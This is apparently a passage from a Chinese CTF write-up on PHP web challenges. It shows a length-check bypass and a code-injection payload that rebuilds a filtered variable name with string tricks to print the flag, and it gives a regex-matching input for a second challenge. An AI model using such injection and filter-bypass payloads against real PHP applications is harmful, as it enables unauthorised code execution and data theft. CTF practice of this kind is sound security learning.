$s=sha1(time());
echo $s;
?>
发现每时每刻长度都固定: 3e16f4fb5552eea3a9ca69b4a3b34fa00cc47900
eeb3d8c9d23853b5cdd9ff5b99b6032562b51ddd
b3b67a4905a90a58ad871c6fa24b6740f1530b86
8b5202991bcba3ff13dd2c1f5a37d49e00e4bc48
增加条件:
<?php
$s=sha1(time());
echo $s;
$c=strlen($s);
echo '
';
echo $c;
?>
输出09d3c5189576f97f22d5bf4a31074bec4db71289
40
长度为40.
加上php判断条件后长度为49。尝试输入49个0成功。
此时关注到最后一个判断条件:
此处我们可以自己造一个韩束出来来显示flag这个变量,但由于flag被过滤,我没让你需要用拼接的方式来让它显现出来
$a='alag';
$a{0}='f';
在php中 <?php echo $a?>和<?=$a?>是一样的
payload:?flag=$a='alag';$a{0}='f';1111111111111111;?><?=${$a}?>
此时就是echo $flag
30.
<?php
require __DIR__.'/flag.php';
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)/i", trim($_POST["id"]), $match);
if( $IsMatch ){
die('Flag: '.$flag);
}
highlight_file(__FILE__);
?>
满足正则表达式匹配即可,hongya..ho..ngya....hongyaaa:/./..hongya